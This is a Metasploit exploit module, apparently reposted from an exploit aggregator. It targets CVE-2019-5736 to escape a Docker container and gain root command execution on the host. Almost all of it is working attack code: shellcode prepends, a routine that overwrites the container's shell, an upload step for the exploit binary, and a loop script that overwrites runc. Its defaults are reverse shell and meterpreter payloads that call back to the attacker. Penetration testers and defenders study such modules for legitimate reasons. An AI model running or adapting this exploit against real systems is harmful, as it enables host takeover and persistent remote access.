Share
## https://sploitus.com/exploit?id=PACKETSTORM:163339
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Local  
  
Rank = ManualRanking  
  
include Msf::Post::Linux::Priv  
include Msf::Post::File  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
  
# This matches PAYLOAD_MAX_SIZE in CVE-2019-5736.c  
PAYLOAD_MAX_SIZE = 1048576  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Docker Container Escape Via runC Overwrite',  
'Description' => %q{  
This module leverages a flaw in `runc` to escape a Docker container  
and get command execution on the host as root. This vulnerability is  
identified as CVE-2019-5736. It overwrites the `runc` binary with the  
payload and wait for someone to use `docker exec` to get into the  
container. This will trigger the payload execution.  
  
Note that executing this exploit carries important risks regarding  
the Docker installation integrity on the target and inside the  
container ('Side Effects' section in the documentation).  
},  
'Author' => [  
'Adam Iwaniuk', # Discovery and original PoC  
'Borys Popławski', # Discovery and original PoC  
'Nick Frichette', # Other PoC  
'Christophe De La Fuente', # MSF Module  
'Spencer McIntyre' # MSF Module co-author ('Prepend' assembly code)  
],  
'References' => [  
['CVE', '2019-5736'],  
['URL', 'https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html'],  
['URL', 'https://www.openwall.com/lists/oss-security/2019/02/13/3'],  
['URL', 'https://www.docker.com/blog/docker-security-update-cve-2018-5736-and-container-security-best-practices/']  
],  
'DisclosureDate' => '2019-01-01',  
'License' => MSF_LICENSE,  
'Platform' => %w[linux unix],  
'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ],  
'Privileged' => true,  
'Targets' => [  
[  
'Unix (In-Memory)',  
{  
'Platform' => 'unix',  
'Type' => :unix_memory,  
'Arch' => ARCH_CMD,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
],  
[  
'Linux (Dropper) x64',  
{  
'Platform' => 'linux',  
'Type' => :linux_dropper,  
'Arch' => ARCH_X64,  
'Payload' => {  
'Prepend' => Metasm::Shellcode.assemble(Metasm::X64.new, <<-ASM).encode_string  
push 4  
pop rdi  
_close_fds_loop:  
dec rdi  
push 3  
pop rax  
syscall  
test rdi, rdi  
jnz _close_fds_loop  
  
mov rax, 0x000000000000006c  
push rax  
mov rax, 0x6c756e2f7665642f  
push rax  
mov rdi, rsp  
xor rsi, rsi  
  
push 2  
pop rax  
syscall  
  
push 2  
pop rax  
syscall  
  
push 2  
pop rax  
syscall  
ASM  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'PrependFork' => true  
}  
}  
],  
[  
'Linux (Dropper) x86',  
{  
'Platform' => 'linux',  
'Type' => :linux_dropper,  
'Arch' => ARCH_X86,  
'Payload' => {  
'Prepend' => Metasm::Shellcode.assemble(Metasm::X86.new, <<-ASM).encode_string  
push 4  
pop edi  
_close_fds_loop:  
dec edi  
push 6  
pop eax  
int 0x80  
test edi, edi  
jnz _close_fds_loop  
  
push 0x0000006c  
push 0x7665642f  
push 0x6c756e2f  
mov ebx, esp  
xor ecx, ecx  
  
push 5  
pop eax  
int 0x80  
  
push 5  
pop eax  
int 0x80  
  
push 5  
pop eax  
int 0x80  
ASM  
},  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp',  
'PrependFork' => true  
}  
}  
]  
],  
'DefaultOptions' => {  
# Give the user on the target plenty of time to trigger the payload  
'WfsDelay' => 300  
},  
'DefaultTarget' => 1,  
'Notes' => {  
# Docker may hang and will need to be restarted  
'Stability' => [CRASH_SERVICE_DOWN, SERVICE_RESOURCE_LOSS, OS_RESOURCE_LOSS],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new(  
'OVERWRITE',  
[  
true,  
'Shell to overwrite with \'#!/proc/self/exe\'',  
'/bin/sh'  
]  
),  
OptString.new(  
'SHELL',  
[  
true,  
'Shell to use in scripts (must be different than OVERWRITE shell)',  
'/bin/bash'  
]  
),  
OptString.new(  
'WRITABLEDIR',  
[  
true,  
'A directory where you can write files.',  
'/tmp'  
]  
)  
])  
end  
  
def encode_begin(real_payload, reqs)  
super  
  
return unless target['Type'] == :unix_memory  
  
reqs['EncapsulationRoutine'] = proc do |_reqs, raw|  
# Replace any instance of the shell we're about to overwrite with the  
# substitution shell.  
pl = raw.gsub(/\b#{datastore['OVERWRITE']}\b/, datastore['SHELL'])  
overwrite_basename = File.basename(datastore['OVERWRITE'])  
shell_basename = File.basename(datastore['SHELL'])  
# Also, substitute shell base names, since some payloads rely on PATH  
# environment variable to call a shell  
pl.gsub!(/\b#{overwrite_basename}\b/, shell_basename)  
# Prepend shebang  
"#!#{datastore['SHELL']}\n#{pl}\n\n"  
end  
end  
  
def exploit  
unless is_root?  
fail_with(Failure::NoAccess,  
'The exploit needs a session as root (uid 0) inside the container')  
end  
if target['Type'] == :unix_memory  
print_warning(  
"A ARCH_CMD payload is used. Keep in mind that Docker will be\n"\  
"unavailable on the target as long as the new session is alive. Using a\n"\  
"Meterpreter payload is recommended, since specific code that\n"\  
"daemonizes the process is automatically prepend to the payload\n"\  
"and won\'t block Docker."  
)  
end  
  
verify_shells  
  
path = datastore['WRITABLEDIR']  
overwrite_shell(path)  
shell_path = setup_exploit(path)  
  
print_status("Launch exploit loop and wait for #{wfs_delay} sec.")  
cmd_exec('/bin/bash', shell_path, wfs_delay, 'Subshell' => false)  
  
print_status('Done. Waiting a bit more to make sure everything is setup...')  
sleep(5)  
print_good('Session ready!')  
end  
  
def verify_shells  
['OVERWRITE', 'SHELL'].each do |option_name|  
shell = datastore[option_name]  
unless command_exists?(shell)  
fail_with(Failure::BadConfig,  
"Shell specified in #{option_name} module option doesn't exist (#{shell})")  
end  
end  
end  
  
def overwrite_shell(path)  
@shell = datastore['OVERWRITE']  
@shell_bak = "#{path}/#{rand_text_alphanumeric(5..10)}"  
print_status("Make a backup of #{@shell} (#{@shell_bak})")  
# This file will be restored if the loop script succeed. Otherwise, the  
# cleanup method will take care of it.  
begin  
copy_file(@shell, @shell_bak)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NoAccess, "Unable to backup #{@shell} to #{@shell_bak}: #{e}")  
end  
  
print_status("Overwrite #{@shell}")  
begin  
write_file(@shell, '#!/proc/self/exe')  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NoAccess, "Unable to overwrite #{@shell}: #{e}")  
end  
end  
  
def setup_exploit(path)  
print_status('Upload payload')  
payload_path = "#{path}/#{rand_text_alphanumeric(5..10)}"  
if target['Type'] == :unix_memory  
vprint_status("Updated payload:\n#{payload.encoded}")  
upload(payload_path, payload.encoded)  
else  
pl = generate_payload_exe  
if pl.size > PAYLOAD_MAX_SIZE  
fail_with(Failure::BadConfig,  
"Payload is too big (#{pl.size} bytes) and must less than #{PAYLOAD_MAX_SIZE} bytes")  
end  
upload(payload_path, generate_payload_exe)  
end  
  
print_status('Upload exploit')  
exe_path = "#{path}/#{rand_text_alphanumeric(5..10)}"  
upload_and_chmodx(exe_path, get_exploit)  
register_files_for_cleanup(exe_path)  
  
shell_path = "#{path}/#{rand_text_alphanumeric(5..10)}"  
@runc_backup_path = "#{path}/#{rand_text_alphanumeric(5..10)}"  
print_status("Upload loop shell script ('runc' will be backed up to #{@runc_backup_path})")  
upload(shell_path, loop_script(exe_path: exe_path, payload_path: payload_path))  
  
return shell_path  
end  
  
def upload(path, data)  
print_status("Writing '#{path}' (#{data.size} bytes) ...")  
begin  
write_file(path, data)  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NoAccess, "Unable to upload #{path}: #{e}")  
end  
register_file_for_cleanup(path)  
end  
  
def upload_and_chmodx(path, data)  
upload(path, data)  
chmod(path, 0o755)  
end  
  
def get_exploit  
target_arch = session.arch  
if session.arch == ARCH_CMD  
target_arch = cmd_exec('uname -a').include?('x86_64') ? ARCH_X64 : ARCH_X86  
end  
case target_arch  
when ARCH_X64  
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x64.bin')  
when ARCH_X86  
exploit_data('CVE-2019-5736', 'CVE-2019-5736.x86.bin')  
else  
fail_with(Failure::BadConfig, "The session architecture is not compatible: #{target_arch}")  
end  
end  
  
def loop_script(exe_path:, payload_path:)  
<<~SHELL  
while true; do  
for f in /proc/*/exe; do  
tmp=${f%/*}  
pid=${tmp##*/}  
cmdline=$(cat /proc/${pid}/cmdline)  
if [[ -z ${cmdline} ]] || [[ ${cmdline} == *runc* ]]; then  
#{exe_path} /proc/${pid}/exe #{payload_path} #{@runc_backup_path}&  
sleep 3  
mv -f #{@shell_bak} #{@shell}  
chmod +x #{@shell}  
exit  
fi  
done  
done  
SHELL  
end  
  
def cleanup  
super  
  
# If something went wrong and the loop script didn't restore the original  
# shell in the docker container, make sure to restore it now.  
if @shell_bak && file_exist?(@shell_bak)  
copy_file(@shell_bak, @shell)  
chmod(@shell, 0o755)  
print_good('Container shell restored')  
end  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NoAccess, "Unable to restore #{@shell}: #{e}")  
ensure  
# Make sure we delete the backup file  
begin  
rm_f(@shell_bak) if @shell_bak  
rescue Rex::Post::Meterpreter::RequestError => e  
fail_with(Failure::NoAccess, "Unable to delete #{@shell_bak}: #{e}")  
end  
end  
  
def on_new_session(new_session)  
super  
@session = new_session  
runc_path = cmd_exec('which docker-runc')  
if runc_path == ''  
print_error(  
"'docker-runc' binary not found in $PATH. Cannot restore the original runc binary\n"\  
"This must be done manually with: 'cp #{@runc_backup_path} <path to docker-runc>'"  
)  
return  
end  
  
begin  
rm_f(runc_path)  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Unable to delete #{runc_path}: #{e}")  
return  
end  
if copy_file(@runc_backup_path, runc_path)  
chmod(runc_path, 0o755)  
print_good('Original runc binary restored')  
begin  
rm_f(@runc_backup_path)  
rescue Rex::Post::Meterpreter::RequestError => e  
print_error("Unable to delete #{@runc_backup_path}: #{e}")  
end  
else  
print_error(  
"Unable to restore the original runc binary #{@runc_backup_path}\n"\  
"This must be done manually with: 'cp #{@runc_backup_path} runc_path'"  
)  
end  
end  
  
end